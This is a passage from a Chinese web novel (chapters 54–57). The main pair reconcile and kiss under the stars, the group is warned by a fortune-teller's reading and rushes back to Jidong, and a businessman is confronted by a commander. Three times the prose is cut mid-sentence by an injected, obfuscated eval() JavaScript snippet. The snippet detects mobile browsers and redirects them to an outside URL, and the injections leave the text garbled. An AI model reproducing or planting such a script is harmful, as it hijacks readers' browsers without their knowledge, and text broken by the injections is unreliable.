“反而这里——”温雪生的视线扫过这间简陋的小土屋,“最危险的地方,才是最安全的地方。他们打死也不会想到,我们非但没跑,反而回到了起点,而且还敢光明正大地在这儿住下。等温重明的人突破李管事的包围,马不停蹄的追回济东,再等济东那边藏着的牛鬼蛇神纷纷暴露身份,我们再回去,这才是最保险的做法。” 说完,他轻轻喘了口气,下了最后的结论: “所以,今晚,我们得留在这。至于明天,看情况再说。” 54. 第 54 章 南希没有说什么,因为温雪生的话,逻辑缜密,句句在理,她反驳不了。要是换作往常,这些弯弯绕绕的事,她本该是第一个嗅出味道的,可是刚才,她的脑子成了一团浆糊,连想都没往那里想。 意识到这点后,她更恼火了,好像不仅仅是输了嘴仗,连带着智商和面子都给弄丢了。 她愤懑地盯着,温雪生那张在灯光下显得过分平静的脸,重重地“哼”了一声,算是最后的反抗,然后转过身,带着一股决绝的气势,推开吱呀的木门,一头扎进了外头黏稠的黑暗里。 冷风瞬间裹了上来,初春夜晚的寒意,在这座北方的村子显得格外尖利,直往骨头缝里钻。 她打了个明显的寒战,下意识抱紧双臂,脚步却不肯停,几乎是踉跄着往前冲着。 去哪?不知道。 只是憋着一口气,不想回头,不想面对那个讨厌的大少爷,还有……屋里那温婉体贴的欢大夫…… 她走啊走,脚下的土路坑洼不平,黑暗吞噬了一切,只有远处零星几点灯光,像鬼火一样飘忽。 忽然,脚尖撞上了个硬东西,一阵钝痛传来。 她“嘶”地倒抽了口冷气,腿条件反射地往后一缩,紧接着,所有的委屈、恼火、不甘像是都找到了出口,一下子汇聚到了那条腿上。 于是,她狠狠地踢了出去,精准地命中了那个硬东西。 嘭! 登时,一块不小的石头带着泥土飞上了天,然后掉进了路边的草丛。 而她心里的郁气似乎也随着这一脚宣泄了出去,可没一会儿,一种空落落的感觉就漫了上来,比刚才的憋闷更让人难受。 她停下了脚步,茫然地环顾四周。 月光很淡,勉强勾勒出周围的轮廓。 她发现自己站在一个十字路口,四条土路伸向不同的黑暗,两旁是低矮的农村瓦房,样子都差不多。 她来的时候走的是哪条路? 左边?还是右边? 她转着圈,努力辨认,却只觉得每条路都似曾相识。 她承认自己迷了路,慢慢泄了气,眼睛空洞地望着前方的某一点,失了神。 可是,渐渐的,那双失去焦点的眼睛里,竟一点点重新汇聚起光亮,有了神采。 一个微小的人影映在她黑色的瞳孔里,且那人影正在慢慢变大,变清晰。 双唇轻轻动了动,她无声地,念出了浮上心头的名字:“小生生……” 是他…… 远处,温雪生也看见了她。 他的步子原本有些虚浮,可在这一刹那,却明显快了,几乎可以称得上是小跑,但跑得近了,那速度又慢了下来,晃晃悠悠的,慢到仿佛这短短的路程,他好像永远都走不完一样。 南希等不下去,一瘪嘴,快步迎上前,一把撑住了他的胳膊。 温雪生微喘的气息霎时拂过她的头发,很烫。 她微微一颤,脱口说:“你这病秧子,不躺在床上休息,出来受什么冻?” 这话听起来是责备,语气却是软的,连带她的手,也依旧稳稳地托着他。 温雪生侧过头,夜色模糊了他的表情。 “你想让我躺下歇着吗?” 他问,声音很低。 南希想起诊所里,欢大夫照顾他时温柔体贴的摸样,一股说不清的情绪涌了上来。 她朝着黑漆漆的天空,硬邦邦地说:“想啊,你最好啊,好好歇着,别劳烦人家欢大夫操心。” 温雪生看过去,恰好看到她倔强扬起的下巴和抿成一条缝儿的嘴,唇边竟掠过了一抹满足的笑:“可是一直躺着,也不利于身体恢复,”他慢悠悠地说,气息平稳了些,“还是得运动运动,多出来走走。” 南希依然梗着脖子不看他:“好啊,那你想怎么走?” “嗯……”温雪生似乎在认真思考,“就随便走走。” “没劲。”南希嗤了一声。 可话虽然这样说,她扶着他的手并没有松开,反而调整了一下姿势,让他靠得更省力些。 两人就这么挨着,漫无目的地在寂静的路上走了下去。 奇怪的是,刚才南希还觉得凄冷黑暗的村子,这会儿竟悄然变了样。月光似乎明亮了许多,洒在路上,泛起柔和的清辉。周围的空气也不再那么刺骨,旁边人身上传来的温度,像个小火炉,驱散了她的寒意。 她仰着头,眼睛望着天。 农村没有城市的光污染,夜空是纯粹的墨蓝,一条璀璨的星河横贯天际,无数星辰细碎地铺散开来,闪烁着冰冷又纯净的光芒。 她感觉自己已经很久、很久没有看到过这样辽阔而清晰的星空了,一时间有些发怔。 “真好看。” 这时,温雪生的声音在耳畔响起,很轻柔。 南希的目光流连在星海之间,没有回头看他,却已经知道他在说什么。 “嗯,”她应了一声,声音也不自觉地放轻了,“是挺好看。” “以前被关温沙城堡,看着那片天,”温雪生像是自言自语,又像是说给她听,“我从来不知道,外面还有这么好看的星空。” 这句话里藏着一丝不易察觉的落寞,南希的心微微动了下,一种莫名的冲动让她脱口而出:“这算什么,以后你跟着我,比这更好看的也能看到。” 温雪生低下了头:“嗯……” 南希:“就只是‘嗯’?” “嗯……” 两人之间安静了一瞬,只剩下风声和脚步声。 温雪生再开口时,声音弱了几分,却格外清晰:“你以后,真得会让我永远跟着你吗?” 南希稍一失神,然后侧过头。 温雪生比她高不少,这个角度,正好能看到他被月光勾勒出的、流畅的下颌线,还有他的右眼。 那只平日里总是带着阴郁气息的眼睛,这会儿像浸在了星河里,闪闪发亮。 实在是好看。 心脏像是被什么东西攥了一下,又慌又麻。 南希不敢再看他,仓促地移开视线,重新望向天空。 关于他的问题,她很想毫不犹豫地回答“当然会”,以后的日子,能跟他一直在一起,光是想想就让她心头泛软。 可是,理智像一根细小的冰针,恰到好处地刺了她一下,让她瞬间清醒了几分。 她不能这样回答。 以前,她对那些围着她转的男人,甜言蜜语信手拈来,海誓山盟说的比唱的还顺,从不走心,反正玩腻了,就潇洒地离开,心里不会有半点涟漪。 可是面对他,这个认死理、性格别扭、心思敏感又纯粹得吓人的大少爷,她不敢做,也不愿意做任何她无法保证的承诺。 她太了解自己了,她贪恋的是男人好看的皮相和新鲜的rou.体,是那一刻的欢愉。 让她长久地跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700714|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在一起?她对自己毫无信心。她仿佛已经看到,当自己那喜新厌旧的毛病发作,无情走开时,他会是怎样一种反应——他一定会找她拼命,或者,更糟糕的是,他会被伤得体无完肤。 况且,即便没有这层原因,她也不能对他承诺什么。她连自己究竟是谁都不知道,像无根的浮萍,在这世间漂泊了二十年,未来也注定要继续漂泊下去。 这样的她,又拿什么去跟他保证一个“永远”? 她迅速收敛了心神,脸上挂起平日里那副略带戏谑的笑,巧妙地岔开了话题:“跟着我?诶,小生生,我说你刚才不会一直在跟踪我吧?要不我怎么会在这地方‘巧遇’你呢?” 她特意加重了“巧遇”两个字,尾音上扬。 果然,温雪生脸上,那刚刚还带着些许期待的表情,瞬间被气恼取代。他习惯性地拧紧眉头,反驳道:“我看是你跟踪我……否则,你怎么会出现在之前那棵老榆树那儿?” 老榆树? 南希立马抓住话头,瞪向他,故意用夸张的语气回:“诶,你这个忘恩负义的!我要是不出现在那,你说不定早就去给阎王爷报道了,还能在这儿跟我顶嘴?” 温雪生撇撇嘴,赌气似地嘟囔:“与其活着受气,我还不如去阎王爷那报……” “诶诶诶,好了好了,少说些不吉利的!”南希赶紧踮起脚尖,伸手堵住他的嘴。 指尖堪堪触上他干燥滚烫的唇,然后,像被烫了一下,微微一缩。 夜风恰好在此时拂过,吹乱了温雪生长长的刘海,将他那只总是若隐若现的右眼完全显露出来。 他没有躲开她的手,只是微微蹙着眉,漂亮的右眼正直直地看着她。 两个人的视线在空中交汇,牢牢地锁在了一起。 南希注视着他近在咫尺的眼眸,那里面清晰地映出她有些慌乱的影子。脸“轰”地一下烧了起来,视线飘向别处,心跳如擂鼓般震颤。 她忙不迭地收回手,不自然地清了清喉咙,试图找回刚才的话题节奏:“啊,那个,我之所能找到你啊,是因为我足够聪明……” 她开始讲述他失踪之后发生的事,只是讲得颠三倒四,语速也很快,像是在用这个故事,掩盖掉刚才的暧昧和心跳。 温雪生听她讲着,眉头却越来越紧,几乎拧成了一个疙瘩。 南希正讲到兴头上,一斜眼,瞥见他这副模样,忍不住伸出手,用指尖在他眉心上用力捋了捋:“小生生,你现在二十岁,应该还没什么,但是,如果你一直这样皱眉,不用等到老了,我看最多再过五年,你就会有皱纹了!” 温雪生懵了一瞬,似乎没想到她会突然有这样的动作,然后,他生硬地别开脸,努力放松脸上的肌肉,试图让自己的表情看起来自然点。 但他强行舒展眉心的别扭样子,看起来更加滑稽,南希只瞧了一眼,就忍不住“噗嗤”笑了出来,刚开始还捂着嘴,后来干脆放开了,弯下腰,笑得肩膀直抖。 温雪生的脸一下子涨红了,那刚刚才被捋平一点的眉头,立刻又像纸团一样皱了起来,比之前更紧。 “别笑了!你的故事还没讲完!”他尝试把话题拉回之前,好借此打断这令他无地自容的笑。 可南希依旧笑得欢,一边笑一边回:“哈?故事?你还没听够呀?” 温雪生闷声闷气:“你还没说,从那个废厂房出来后,你是怎么找到这个村子的?” 55. 第 55 章 南希看温雪生抿着唇,嘴角耷拉着,下颌线绷得紧紧的,不像平时那样只是闹别扭,倒像是真动了气,赶紧把脸上残余的笑收拾干净,清了清嗓子,正儿八经地回答他刚才的问题:“我说我找到这个村子纯属巧合,你信吗?” 温雪生看着她,没说话,沉默像夜色一样弥漫开。 过了好一会儿,他才摇了摇头。 南希眉毛一挑,踮起脚尖,手自然地伸过去揉了揉他的头发,用一种夸张且欣慰的语气说:“看来我家小生生还不算太傻嘛。” 温雪生猛地往后撤了一步,躲开了她的手,脸上的怒气好像比刚才更厉害了。 南希却不在意,若无其事地收回手,插进外套口袋,眼里依旧含着笑:“小生生,是这样,之前在废厂房那儿,我发现看着你的那三个人里头,有两个是被人砸晕的。当时那儿没别人,所以下手的人只能是你,而你已经跑了。但你那身体……肯定跑不远,那你能去哪儿?最可能的就是想办法回市里,去找李管事。我就顺着往市里去的路,一路找你可能藏身的地方,然后就摸到了这个李家村。” 她踢开脚边的一颗小石子,“我们运气不错,刚进村就碰到了李伯。还好我这人眼尖,干我们这行的,就爱观察,我一眼就认出了李伯的那辆三蹦子。我们去厂房的时候,在路上遇到过他,只是当时急着赶路,没多想。” 温雪生脸上露出惊讶,打断她:“你说什么?我路上碰到的那辆车,是你?” 南希耸耸肩,无奈地埋怨:“可不是嘛!要不是你突然发疯,看也不看就上了那辆三蹦子,我早就接着你走了,哪还有后面这一堆乱七八糟的事?”她斜眼瞅他,语调拉长,“不是我说你,小生生,你连我的车都不认识了?” 温雪生的表情有些尴尬,但嘴上依旧倔强:“你开车喜欢开大灯,我被灯晃得眼睛都花了,就只能看见两团光,哪还看得清什么车?还有……切诺基又不是只有你一个人开,就算我看清楚了,也不敢赌。” 南希哼了声,没再接着反驳,想着给他留点面子,毕竟,要是把这家伙惹急了,什么跳车之类的混账事,他可都能干得出来。 于是,她把话题轻轻一转,引向一个她更在意的事情:“还有啊,小生生,你跟你爸……关系是不是真不太行?” 温雪生沉默了几秒,才犹犹豫豫地点了点头:“你为什么突然问这个?” “我就是觉得,”南希斟酌着用词,“你爸对你被绑这事儿,反应有点太淡了,淡得……让人觉得哪里怪怪的。” “没什么怪的,”温雪生想起他小时候的那次绑架,声音干涩,“他对我,一向这样。” 南希歪着头,盯着他的侧脸:“是吗?” 温雪生的身体颤了一下,很轻微,但他立刻又绷紧了肌肉,想把那瞬间泄露的情绪压回去,他不想让她看见自己脆弱的样子。 “这件事,我不想再说……” 南希见他这种反应,眼神沉了沉,脸上的笑意消失了,声音也变得阴阳怪气:“你跟那个欢大夫说的……该不会就是你跟你爸的事吧?” 温雪生一顿,嘴唇动了动,似乎想解释什么。 南希却不给他机会,直接打断:“等等,我不想听你说别的,我就想听这件事。你能跟一个陌生人说,为什么不能跟我说?” 说着,她突然踮起脚尖,整个身体倾向他。 她的脸凑得很近,温热的、带着她特有气息的呼吸,顿时拂过了他的唇瓣。 温雪生有些措手不及,下意识往后退了一步,脚后跟抵住了一堆扎肉的谷草。 “正因为她是陌生人,我才……” “别废话。”南希跟着逼近,不给他退缩的空间:“反正,我就是要知道。” 温雪生只能继续后退。 南希似乎很享受他的这副样子,紧追不舍。 两只游蛇般的小手,轻柔地覆上了他精瘦的胸膛。 两个人的鼻尖几乎要碰到一起,嘴唇若即若离。 南希压低声音,眼神挑衅又有些迷离:“你必须告诉我,否则……” 温雪生的呼吸明显乱了,胸口在南希的掌心下剧烈起伏。 他低垂着长长的睫毛,声音轻得像耳语:“否则……什么?” 南希用嘴唇若有似无地蹭着他,吐息也失去了节奏:“否则,我就在这儿把你……” 后面的话她没说出口,也不必说出口。威胁和暧昧搅在一起,在冰凉的空气里点燃了一簇危险的火焰。 他们的身体紧紧贴着,唇齿间的距离趋近于无,滚热的体温透过衣服间的摩擦,相互传递。 就在这时,一阵凌乱的脚步声,不合时宜地传来,紧接着是一声短促的惊叫。 像被针扎破的气球,周围紧绷又暧昧的氛围骤然破裂。 南希和温雪生受了惊,身体稍稍分开了些,但在旁人眼里,他们依旧是贴在一起的。 两人几乎是同时转过头,循着声音的方向望了过去。 黑暗里,借着微弱的月光,他们能看到瓦房旁边站着一个人。 那人眼睛瞪的很大,正用手捂着嘴。 是欢丫头。 她一只脚向前,另一只脚别扭地朝左,身体拧着,像是急着要离开,却没能来得及走掉。 夜色很深,但即便如此,南希还是敏锐地从欢丫头脸上,捕捉到,除惊讶之外,一些别的情绪。 她在心里叹了口气,彻底从温雪生身边退开了。 “欢大夫?你怎么到这儿来了?” 欢丫头慌忙放下手,可双手竟不知道该往哪里放,只能扭捏地交握在身前:“啊,刚才……你出了门,他,他说要去找你,就也跟着出来了。可是这么久了一直没回去,他身体还不行,我……我放心不下,就想着出来找找……” 南希飞快地瞥了温雪生一眼,原来他来是找她的……还真是个嘴硬的家伙。 她冲欢丫头回道:“你放心,我很快就带他回去。” “那就好……”欢丫头已经没有继续呆在这儿的理由,转过身,想要离开:“那我先……” “诶,别别!”南希赶紧追上去两步,“我们得跟着你,这地方长得都差不多,我不知道怎么回去呢。”她说着,回头指了指还站在原地的温雪生,“这位大少爷,估计也不知道。” 温雪生想反驳,却无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703779|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话可说,他刚才光顾着找她,心里乱糟糟的,脚步也乱,确实没记住来时的路。 欢丫头没回身,背对着他们,点了点头,算是同意。 南希跟在她后侧,说:“谢谢啊,这次多亏有你,不然我俩说不定就在外面冻成冰棍了。” 欢丫头忙回:“不用谢……”然后就没了下文,似乎不知道再该说些什么。她默默地走在前面,南希和温雪生跟在后面,也没再说话。 就这样,三个人在璀璨的星空下,“哒哒”地走着。 欢丫头原本有些僵硬的身体慢慢松弛下来,她稍稍偏过头,目光不经意地往地上一瞥——月光将三人的影子拉得长长的,其中有两个影子并排着,他们的手紧紧相连在一起。 欢丫头心里一颤,身子跟着晃了一下,打了个趔趄。 南希反应快,立马伸手过去,稳稳地扶住了她的胳膊。 “小心点。” 欢丫头低声道了句谢,忍着心里的难受回过头,正好看到他们牵在一起、还没来得及分开的手。 她挤出一个笑容,声音有点发颤:“没想到……你们是一对儿……” 南希这才意识到,自己的手不知什么时候被温雪生牵住了。她的脸略略热了,下意识就想把手抽回来,哪想温雪生竟先她一步,使劲攥住了她,力道大得甚至让她觉得疼。 然后,温雪生抬起眼,目光平静地投向欢丫头:“嗯,她是我女朋友。” 女朋友? 南希彻底懵了。 这种感觉……怎么有点熟悉?好像没几个月前,她也曾这样不管不顾地对别人宣称过“他是我男朋友”。但她那是对着不相干的外人,为了应付场面。可眼前,这个欢丫头……她明明是对温雪生有意思的……他这样做,是不是太残忍了点? 欢丫头听后,表情明显不自然起来,眼睛迅速泛红,但她还是努力笑着:“嗯,这样啊……你们,很般配。”说完,她猛地回过头,好像深深吸了口气,再开口时,语气刻意变得轻快了些,“咱们还是快往回走吧,外面太冷了,病人可不能一直呆在这种环境里。”说着,她加快了脚步,与身后的两人拉开了一段距离,像是特意给他们留下独处的空间。 南希本想解释点什么,话到嘴边又停住了。 她望着欢大夫那虽然瘦小却挺得笔直的背影,以及那坚定有力的步子,忽然觉得,这姑娘比她想象的要强大得多。 这脾性,她很喜欢。 然后,她收回目光,恶狠狠地瞪向温雪生,确保前面的欢丫头绝对听不见:“喂,我是你女朋友吗?” 温雪生也侧过头来看她。 他很少这样毫不回避地直视她的眼睛。 所以,她也很少见到这样认真又完整的他。 衬着星河,他的右眼像是蒙上了一层水光,柔和且清亮。 南希听到了他肯定的回答: “嗯。” 心跳猛地漏了一拍,又重重地跳起来。 南希强撑着气势,问:“我……怎么就是你女朋友了?” 温雪生的目光没有移开,一字一句地回道:“我只允许,我女朋友,对我做那些事。” 56. 第 56 章 温雪生的眼神太直接,太滚烫,南希率先败下阵来,仓促地移开视线,不敢再看他,但被他攥住的手,却没有试图挣脱,反而悄悄地,更紧密地回握了过去。 “你……”她看着脚下坑洼不平的土路,脸火辣辣的不舒服,脑子里尽是强迫他,蹂躏他,戏弄他的画面。起初他还会挣扎反抗,到了后面,他就已经束手就擒、任她摆弄,难受了便皱眉忍耐或者发出低低的shen吟。她原以为他是认了命,没想到竟是认了她…… 她…… “好,算,算是吧……”南希像是也认了似的,再次抬起头,颇有种恃宠而骄的蛮横感,“那你刚才也不应该那样跟她说!” 温雪生的目光转向前面,那儿有欢丫头固执且孤单的背影。 他望着她,声音平静却坚定:“我一向不喜欢模棱两可,不能给人确定的希望,却拖着不说,那才是最大的不尊重。说清楚,哪怕一时难堪,对她也公平。” 南希眨了眨眼,心虚起来。 他说的这些话,怎么感觉另有所指…… 果然,温雪生又重新看向了她,眼里的水波似乎更加荡漾:“我希望,你也能对我公平一些。” 老天爷…… 南希只觉得自己被他一步步带进了坑里,再也出来了…… “……怎么公平?”她只能明知故问。 温雪生挑起唇角,露出笑容,可这个笑,竟是冷的。 他本不打算这时候说这些,可天意弄人,竟话赶话把他堵在心里的事一步步赶了出来。 “怎么公平?”他的声音也冷了下来,“比如,你可以先回答我两个问题。第一个,你和张笑远是什么关系?” “哈?” 南希惊住,蹙起的眉眼明显是,她没听懂温雪生在说什么。 温雪生微微抿抿唇,眼睛里竟泛了红,火光般的红,可嘴上的弧度仍然冰冷:“那么,我换一个问法,那天在济大,你和张笑远站在我的教学楼前,都干了些什么?” 南希更加震惊,记忆短暂地回到了几天前,她想起张笑远跟她在教学楼前说话,本来好好的,他却突然把她引到了教学楼的侧门,那时候,他的模样好像有些的不自然…… 她顿时恍悟。 张笑远曾多次告诫她,离温雪生这个Black社会大佬的儿子远点,所以也付诸到了行动上。哪想他当时一个看似不经意的举动,竟酿成了现在难以收拾的困局。 可这事解释起来太复杂,南希讪讪笑道:“小生生,我觉得,我可以先回答你的第二个问题。” 温雪生睫毛一闪,竟笑了:“好,那你听好,我的第二个问题是,你以后,真得会让我永远跟着你吗?” 听完,南希不禁张开了嘴,心中掀起万丈涛浪。 呵,竟又回到了原点。 不过也是……对她来说,第一个问题的答案已经十分艰难,第二个问题又怎么会简单? 但她转瞬又释然了,她还真是上了贼船,然后再也拿船长没有办法。是情势所迫,又不是她自己举双手认输,她不丢人。 想通后,心里的变扭消散了。她轻轻拉起温雪生的手,踮脚,把双唇送到了他温顺的鬓角处:“我和张笑远只是朋友。还有……” 舌尖顺势探出,沿着鬓角,在那已经发热发颤的耳垂上舔了一下,如蜻蜓点水,一触即离,却洒下火种,野火燎原。 温雪生战栗着,猛地搂紧了她的腰。 南希第一次感受到他这样强大的力气,她挣脱不得,或者,她根本就不想挣脱。 她看到他眼底的水波已经泛滥成灾,直冲出眼眶,可还没等她分辨那到底是自己的幻觉,还是他真实的泪水,对方柔软的唇瓣已经覆了上来,让她下意识闭上了眼睛。 因为,刚刚,就在她蹭过他耳畔的刹那,还留下了另外一句话: “你想跟着我,就跟着吧。” 唉,心里那无数次堆砌起的理智沙垒,终究不堪感性的潮涌,一朝倾颓。 迷恋的模样是他,满意的身体是他,想要马上见到的是他,令她牵肠挂肚、心酸委屈的是他,相伴而行、为之心荡神驰也是他…… 她好像……真的,真的,有些喜欢输给他呢…… * 大概七八分钟后,土屋诊所的木门,“吱呀”一声被推开了。 挂在天花板上的灯泡随风闪动了一下。 欢丫头先进的屋,表情很是不自然。 紧接着,南希和温雪生也跟了进来。 人还是那两个人,位置也还是隔着半条胳膊那么远,但屋里的孙红孙紫,甚至是张笑远,几乎是立刻,就发现他们跟出门前不一样了。 这两人之间,没有眼神交流,肢体更是碰都不碰,可他们一前一后走过,那一片的空气仿佛都黏稠温热起来,泛着说不清道不明的粉红气泡,把诊所里原本的草药味都挤到了一边。 孙红和孙紫交换了一个眼神,眼里闪过诡异的光。然后,孙红先开了腔,声音拖得有点长,跟用羽毛尖儿搔人的耳朵根似的:“哎呀呀,这李家村的风就这么醉人?我看欢大夫头发都没乱,可她后面那两位身上,倒是沾了不少‘仙气儿’啊。” 孙紫立马接上,她故作正经地拿起桌上的旧搪瓷缸子摩挲着,眼风却斜斜飞过去:“可不嘛,他们去了快一个小时了,按说这时间,都够把这李家村绕三圈,然后再坐下来好好探讨一下人生理想了。姐,你觉不觉得,这屋里头,突然就有点热了?” 温雪生听着,眼皮都没抬一下,只当是耳边刮过一阵风。他面无表情地走到墙边,抱起胳膊靠在那里,周身散发着大少爷独有的“生人勿近,熟人也滚远点”的冷气。 南希可没他那么好欺负,她眉毛一挑,在脑子里搜刮到一句能堵住这对双胞胎的嘴、反将一军的话,唇角登时浮现出一抹带着杀气的笑,只是这笑还没完全绽开—— 哔哔哔——哔哔哔—— 一阵急促的铃声就突然响了起来。 是张笑远的大哥大。 张笑远从兜里掏出那块“黑砖头”,放到耳边:“喂?” 然后,电话那头传来了声音。 他脸上的松弛感随之一点点消失,眉头逐渐锁紧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719798|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角向下弯成一个严肃的弧度。 孙红孙紫,以及南希,都是作战丰富的老手,张笑远的反应让她们立刻感受到一种强烈的危机。 而这种危机感也传染到了温雪生和欢丫头,一时间,所有人都停下了手中的动作,连呼吸都放轻了,整个诊所只剩下大哥大里细微的嗡嗡声,和张笑远回应声。 只见他对着话筒,断断续续地说: “……知道了……” “他现在在哪?” “……好……” “让老宫多留意下……” 电话那头似乎确认了一句什么,张笑远略显不耐地皱了下眉:“就是老公宫啊,宫教授。” “……好,好好,我下次注意……” “放心,我们这就行动。” “再见。” “咔”的一声,他摁断了通话。 孙红一个箭步跨到他面前,问:“是白先生?” 能一个电话就让张笑远露出这种表情,并且还做出某种决定的,在整个破晓里,只有那位能窥天机的白先生了。 因为他的话,一向准得邪乎。 张笑远点了下头:“是。” 旁边的孙紫脸色已经变得难看,声音又急又尖:“你可别吓我啊,白先生又算出什么了?” 张笑远的目光扫过屋内每一张脸,沉声回:“白先生为我们要走的路,起了一卦,得反吟局,主事体反复,变动不宁,波诡云谲,阻碍迭起。白先生说,此行必多波折,须当机立断,或可化险为夷,转逆为顺。”他顿了顿,喉结滚动了一下,“另外,白先生还说,卦象显示,局中一人已陷困顿,恐有血光之厄,然而,亦有一人,身具扭转乾坤之能,可力挽狂澜于既倒。” 南希蹙眉:“说人话。” 张笑远:“……” 这时,温雪生疾声插嘴:“他的意思是卦象反复,需要我们尽快做出决定,因为有一个人陷入了危险,还有一个人,或许能改变这个局面。” 他边说边攥紧了拳头,指甲深深陷进掌心。 其实,从那棵老榆树下离开后,他心里就一直梗着块石头。 李管事血淋淋的双腿,喘息不定的胸口,和他奋力吆喝着“快走”的脸……他都不敢细想,只能强行告诉自己,会没事的,那可是刀疤脸李大发! 可是现在,这该死的卦象,就如同一把冰冷的锥子,精准地刺破了他自欺的伪装。虽然他向来不信这些神神叨叨的东西,但心口还是隐隐发颤,脑海里那些凄惨的画面,再次翻涌上来,带着浓重的血腥气。 张笑远看了眼温雪生,肯定了他的解释:“没错,情况紧急,救人要紧,所以现在,我决定……” 温雪生低着头,内心翻滚不止,根本没没听到他说了什么。 卦中受困,血光之灾……这说的,肯定是李管事…… 那么,能在温重明那龙潭虎穴里力挽狂澜的人,就只有…… 不等张笑远把“决定”后面的计划说出口,他猛然抬起了头,一字一顿: “不等了!今晚就回济东,我去找温四!” 57. 第 57 章 光源大厦三十九层。 这是光源大厦的次顶层。 深灰色地毯延伸至整面落地窗,窗外铺展着城市夜晚特有的霓虹。 一位中年男人坐在宽大的黑皮沙发上,落地灯的暖光拢着他,映出了他温润的面孔。 他带着厚重的老花镜,正在看书。 看得入迷,似乎已经忘了自己左手还夹着雪茄。 那雪茄就静静地燃着,烟灰将落未落。 嘭,嘭,嘭。 这时,房间里荡起三下敲门声,很轻,一听就知敲门的人十分小心。 他没抬头,淡淡地回了一个字:“进。” 然后,门被缓缓推开,一个穿职业装的盘发女人,踩着高跟鞋出现在房间。 可他仍然低着头看书。 那女人见他没有说话的意思,便主动开了口,开始做一些工作上的汇报。 他好像对汇报的内容很满意,听到一半的时候终于抬起头,嘴角含着淡淡笑意。然而,偏是这含笑的面容,让整个空间都凝固了。 女人咽了口唾沫,紧张地把剩下的内容快速汇报完,然后退出了房间。 他已没兴趣看书,合上书皮,把烟灰弹掉,走到了落地窗边。 霓虹灯不知什么时候已经灭了。 一道金色光线刺破黑暗,从地平线下四射开来,映亮了灰蒙蒙的城市。 而他立在那光线之巅,腰背直挺,如同这座城市的主宰者。 主宰者俯视万物,深深地抽了口雪茄,然后在心里默念道:“100,99,98……” 当这些数字倒数至个位—— ——“9,8,7……” 光源大厦脚下,警笛声由远及近,下一刻,三辆蚂蚁般大小的警车,在晨光中疾驰而过。 他一挑眉梢,又吸了口雪茄,接着往下倒数:“6,5,4,3——” 数字就快要接近0,这时,他突然一扬手,把雪茄重重地按到玻璃上,用力碾灭。 透亮的玻璃立马印出一道漆黑的斑点,像块丑陋的疤。 雪茄头掉落在地,只是掉落的声音被地毯吸了个干净。 然后,他慢慢地转过头,视线越过黑沙发,越过空旷的办公室,钉在不远处的双开门上。 “2,1……” 100个数字倒数完毕,周遭却一切如常。 整个过程,似乎除了那已经听不见的警笛,再没有任何特殊的地方。 也是,在这座并不算特别繁华的城市,在这六点不到的大清早,又能发生什么特殊的事情呢? 可他的眼底还是闪过了一丝失望,毕竟周围的人都说他运筹帷幄,决胜千里,料事如神,张良再世,他预料到的事,又怎么能不发生? 他有些愤懑地走到红木办公桌前,一把提起了电话听筒。 几乎同一时间,一道沉重的“咣当”声在耳边炸响,他惊了一下,猛然回头,与刚破门而入的男人视线相撞。 “你……” 他微微张嘴,眼珠极速转动,似乎不太相信眼前的景象。 “郑司令?!” * 切诺基在省道上狂奔,夜色的帷幕笼罩着四野,只有车头那两盏大灯,顽强地抵抗着前方的黑暗。 去找温四的路,从一开始就注定了不会顺利。 正像南希他们所料想的那样,温重明为了抓到温雪生,动了真格。他亮出了这些年藏在暗处的所有家底,那势力的庞大程度,甚至隐隐压过了他的老大温四爷,而他精心培养的手下像张无形的巨网,铺天盖地般地,在济东撒了开来。 这情况让远在据点的宫教授头痛欲裂。他守着晃眼的电脑,试图通过不发达的网络,监控局势,可屏幕上的光点乱窜个不停,他完全无法掌控。 走街串巷收集信息的小乞丐们,平日里像蚂蚁一样高效,这会儿面对爆炸般涌出的信息,却根本收集不过来。更糟的是,有几个小子差点暴露身份,险些被那无形的网给粘住。 就连依靠信徒探寻线索的释行和尚,也被这突如其来、弥漫全城的乱象,搅得心绪不宁,在心里念了一晚上阿弥陀佛。 于是,他们提供的情报也只会是糟糕的。 切诺基后座,张笑远别在腰间的BB机接连震响,像催命符似的。他掏出来,三条信息依次跳入眼帘: 03:15:凤凰路发生混乱(来自宫教授) 03:19:长乐街上打起来了(来自小乞丐) 03:21:避开金山街(来自释行和尚) 张笑远的眉头逐渐锁紧,到最后几乎拧成了一个疙瘩。他一撇嘴,拿出那块沉甸甸的大哥大,按下号码。 听筒里传来电流杂音,与车身的噪音混合在一起。 “老宫,什么情况?”一接通,他就着急问。 